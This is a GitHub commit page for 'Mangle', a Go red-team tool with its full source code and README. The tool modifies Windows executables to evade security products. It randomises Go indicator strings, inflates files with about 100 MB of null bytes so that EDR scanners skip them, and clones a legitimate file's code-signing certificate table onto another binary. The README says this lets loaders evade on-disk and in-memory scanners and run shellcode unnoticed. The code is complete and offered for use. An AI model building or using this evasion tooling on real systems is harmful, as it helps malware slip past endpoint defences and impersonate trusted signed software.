This repository has been archived by the owner on Aug 18, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 156
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
8 changed files
with
250 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,148 @@ | ||
package main | ||
|
||
import ( | ||
"bytes" | ||
"flag" | ||
"fmt" | ||
"io/ioutil" | ||
"log" | ||
"math/rand" | ||
"strconv" | ||
"strings" | ||
"time" | ||
|
||
"github.com/Binject/debug/pe" | ||
) | ||
|
||
var hex = "abcef12345678890" | ||
|
||
func GenerateNumer(min, max int) string { | ||
rand.Seed(time.Now().UnixNano()) | ||
num := rand.Intn(max-min) + min | ||
n := num | ||
s := strconv.Itoa(n) | ||
return s | ||
|
||
} | ||
|
||
func RandStringBytes(n int) string { | ||
b := make([]byte, n) | ||
for i := range b { | ||
b[i] = hex[rand.Intn(len(hex))] | ||
|
||
} | ||
return string(b) | ||
} | ||
|
||
type FlagOptions struct { | ||
outFile string | ||
inputFile string | ||
CertCloner string | ||
GoStrip bool | ||
size int | ||
} | ||
|
||
func options() *FlagOptions { | ||
outFile := flag.String("O", "", "The new file name") | ||
inputFile := flag.String("I", "", "Path to the orginal file") | ||
CertCloner := flag.String("C", "", "Path to the file containing the certificate you want to clone") | ||
GoStrip := flag.Bool("M", false, "Edit the PE file to strip out Go indicators") | ||
size := flag.Int("S", 0, "How many MBs to increase the file by") | ||
flag.Parse() | ||
return &FlagOptions{outFile: *outFile, inputFile: *inputFile, CertCloner: *CertCloner, GoStrip: *GoStrip, size: *size} | ||
} | ||
|
||
func main() { | ||
fmt.Println(` | ||
_____ .__ | ||
/ \ _____ ____ ____ | | ____ | ||
/ \ / \\__ \ / \ / ___\| | _/ __ \ | ||
/ Y \/ __ \| | \/ /_/ > |_\ ___/ | ||
\____|__ (____ /___| /\___ /|____/\___ > | ||
\/ \/ \//_____/ \/ | ||
(@Tyl0us)`) | ||
|
||
opt := options() | ||
if opt.inputFile == "" { | ||
log.Fatal("Error: Please provide a path to a file you wish to mangle") | ||
} | ||
|
||
if opt.outFile == "" { | ||
log.Fatal("Error: Please provide a name for the final file") | ||
} | ||
InputFileData, err := ioutil.ReadFile(opt.inputFile) | ||
|
||
if err != nil { | ||
log.Fatalf("Error: %s", err) | ||
} | ||
if opt.CertCloner != "" { | ||
FiletoCopy, err := ioutil.ReadFile(opt.CertCloner) | ||
if err != nil { | ||
log.Fatalf("Error: %s", err) | ||
} | ||
InputFileData = Stealer(InputFileData, FiletoCopy) | ||
} | ||
if opt.size > 0 { | ||
InputFileData = Padding(InputFileData, opt.size) | ||
} | ||
|
||
if opt.GoStrip == true { | ||
InputFileData = GoEditor(InputFileData) | ||
} | ||
|
||
ioutil.WriteFile(opt.outFile, InputFileData, 0777) | ||
|
||
} | ||
|
||
func GoEditor(buff []byte) []byte { | ||
gostringg1 := "to unallocated span37252902984619140625Arabic Standard TimeAzores Standard" | ||
gostringg2 := "TimeCertFindChainInStoreCertOpenSystemStoreWChangeServiceConfigWCheckTokenMembershipCreateProcessAsUserWCryptAcquireContextWEgyptian_HieroglyphsEtwReplyNotificationGetAcceptExSockaddrsGetAdaptersAddressesGetCurrentDirectoryWGetFileAttributesExWGetModuleInformationGetProcessMemoryInfoGetWindowsDirectoryWIDS_Trinary_OperatorIsrael Standard TimeJordan Standard TimeMeroitic_Hieroglyphs" | ||
gostringg3 := "Standard Timebad defer size classbad font file formatbad system page sizebad use of bucket.bpbad use of bucket.mpchan send (nil chan)close of nil channelconnection timed outdodeltimer0: wrong Pfloating point errorforcegc: phase errorgo of nil func valuegopark: bad g statusinconsistent lockedminvalid request" | ||
gostringg4 := "codeinvalid write resultis a named type filekey has been revokedmalloc during signalnotetsleep not on g0p mcache not flushedpacer: assist ratio=preempt off reason: reflect.Value.SetIntreflect.makeFuncStubruntime: double waitruntime: unknown pc semaRoot rotateRighttime: invalid numbertrace: out of memorywirep: already in goworkbuf is not emptywrite of Go pointer ws2_32.dll not foundzlib: invalid header of unexported method previous allocCount=, levelBits[level] = 186264514923095703125931322574615478515625AdjustTokenPrivilegesAlaskan Standard TimeAnatolian_HieroglyphsArabian Standard TimeBelarus Standard TimeCentral Standard TimeChangeServiceConfig2WDeregisterEventSourceEastern Standard" | ||
gostringg5 := "0123456789abcdefghijklmnopqrstuvwxyz444089209850062616169452667236328125Go pointer stored into non-Go memory" | ||
gostringg6 := "buildinf:" | ||
gostringg7 := " Go build ID:" | ||
gostringg8 := "gogo" | ||
gostringg9 := "goid" | ||
gostringg10 := "go.buildid" | ||
gostringg11 := "_cgo_dummy_export" | ||
stringnum := []string{gostringg1, gostringg2, gostringg3, gostringg4, gostringg5, gostringg6, gostringg7, gostringg8, gostringg9, gostringg10, gostringg11} | ||
|
||
mydata := string(buff) | ||
for i := range stringnum { | ||
val := RandStringBytes(len(stringnum[i])) | ||
mydata = strings.ReplaceAll(string(mydata), stringnum[i], val) | ||
} | ||
return []byte(mydata) | ||
|
||
} | ||
|
||
func Padding(buff []byte, size int) []byte { | ||
str1 := "0" | ||
res1 := strings.Repeat(str1, (size * 1024 * 1024)) | ||
sum := string(buff) + res1 | ||
mydata := []byte(sum) | ||
return mydata | ||
|
||
} | ||
|
||
func Stealer(InputFileData, FiletoCopy []byte) []byte { | ||
signedFileReader := bytes.NewReader(FiletoCopy) | ||
signedPEFile, err := pe.NewFile(signedFileReader) | ||
if err != nil { | ||
|
||
} | ||
|
||
targetFileReader := bytes.NewReader(InputFileData) | ||
targetPEFile, err := pe.NewFile(targetFileReader) | ||
if err != nil { | ||
|
||
} | ||
|
||
targetPEFile.CertificateTable = signedPEFile.CertificateTable | ||
Data, err := targetPEFile.Bytes() | ||
if err != nil { | ||
} | ||
|
||
return Data | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,102 @@ | ||
|
||
# Mangle | ||
|
||
|
||
|
||
|
||
<p align="center"> <img src=Screenshots/logo.png> | ||
|
||
<p align="center"> <b>Authored By Tyl0us</b> | ||
|
||
|
||
<p align="left"><b>Featured at Source Zero Con 2022</b> | ||
|
||
Mangle is a tool that manipulates aspects of compiled executables (.exe or DLL). Mangle can remove known Indicators of Compromise (IoC) based strings and replace them with random characters, change the file by inflating the size to avoid EDRs, and can clone code-signing certs from legitimate files. In doing so, Mangle helps loaders evade on-disk and in-memory scanners. | ||
|
||
## Contributing | ||
Mangle was developed in Golang. | ||
|
||
## Install | ||
|
||
The first step, as always, is to clone the repo. Before you compile Mangle, you'll need to install the dependencies. To install them, run the following commands: | ||
|
||
``` | ||
go get github.com/Binject/debug/pe | ||
``` | ||
|
||
Then build it | ||
|
||
``` | ||
go build Mangle.go | ||
``` | ||
|
||
## Important | ||
While Mangle is written in Golang, a lot of the features are designed to work on executable files from other languages. At the time of release, the only feature that is Golang specific is the string manipulation part. | ||
|
||
## Usage | ||
|
||
``` | ||
./mangle -h | ||
_____ .__ | ||
/ \ _____ ____ ____ | | ____ | ||
/ \ / \\__ \ / \ / ___\| | _/ __ \ | ||
/ Y \/ __ \| | \/ /_/ > |_\ ___/ | ||
\____|__ (____ /___| /\___ /|____/\___ > | ||
\/ \/ \//_____/ \/ | ||
(@Tyl0us) | ||
Usage of ./Mangle: | ||
-C string | ||
Path to the file containing the certificate you want to clone | ||
-I string | ||
Path to the orginal file | ||
-M Edit the PE file to strip out Go indicators | ||
-O string | ||
The new file name | ||
-S int | ||
How many MBs to increase the file by | ||
``` | ||
## Strings | ||
|
||
Mangle takes the input executable and looks for known strings that security products look for or alert on. These strings alone are not the sole point of detection. Often, these strings are in conjunction with other data points and pieces of telemetry for detection and prevention. Mangle finds these known strings and replaces the hex values with random ones to remove them. IMPORTANT: Mangle replaces the exact size of the strings it’s manipulating. It doesn’t add any more or any less, as this would create misalignments and instabilities in the file. Mangle does this using the `-M` command-line option. | ||
|
||
Currently, Mangle only does Golang files but as time goes on other languages will be added. If you know of any for other languages, please open an issue ticket and submit them. | ||
|
||
|
||
<p align="center"><b>Before</b> | ||
<p align="center"> <img src=Screenshots/Strings_Before.png border="2px solid #555"> | ||
|
||
<p align="center"><b>After</b> | ||
<p align="center"> <img src=Screenshots/Strings_After.png border="2px solid #555"> | ||
|
||
|
||
|
||
|
||
## Inflate | ||
|
||
|
||
Pretty much all EDRs can’t scan both on disk or in memory files beyond a certain size. This simply stems from the fact that large files take longer to review, scan, or monitor. EDRs do not want to impact performance by slowing down the user's productivity. Mangle inflates files by creating a padding of Null bytes (Zeros) at the end of the file. This ensures that nothing inside the file is impacted. To inflate an executable, use the `-S` command-line option along with the number of bytes you want to add to the file. Large payloads are really not an issue anymore with how fast Internet speeds are, that being said, it's not recommended to make a 2 gig file. | ||
|
||
|
||
|
||
Based on test cases across numerous userland and kernel EDRs, it is recommended to increase the size by either 95-100 megabytes. Because vendors do not check large files, the activity goes unnoticed, resulting in the successful execution of shellcode. | ||
|
||
### Example: | ||
<img src="Screenshots/Demo.gif"/> | ||
|
||
|
||
|
||
## Certificate | ||
|
||
|
||
Mangle also contains the ability to take the full chain and all attributes from a legitimate code-signing certificate from a file and copy it onto another file. This includes the signing date, counter signatures, and other measurable attributes. | ||
|
||
While this feature may sound similar to another tool I developed, [Limelighter](https://github.com/Tylous/Limelighter), the major difference between the two is that Limelighter makes a fake certificate based off a domain and signs it with the current date and time, versus using valid attributes where the timestamp is taken from when the original file. This option can use DLL or .exe files to copy using the `-C` command-line option, along with the path to the file you want to copy the certificate from. | ||
|
||
|
||
<p align="center"> <img src=Screenshots/Cert_Copy.png border="2px solid #555"> | ||
|
||
## Credit | ||
* Special thanks to Jessica of SuperNovasStore for creating the logo. | ||
* Special thanks to Binject for his [repo](https://github.com/Binject/debug) |
Binary file not shown.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.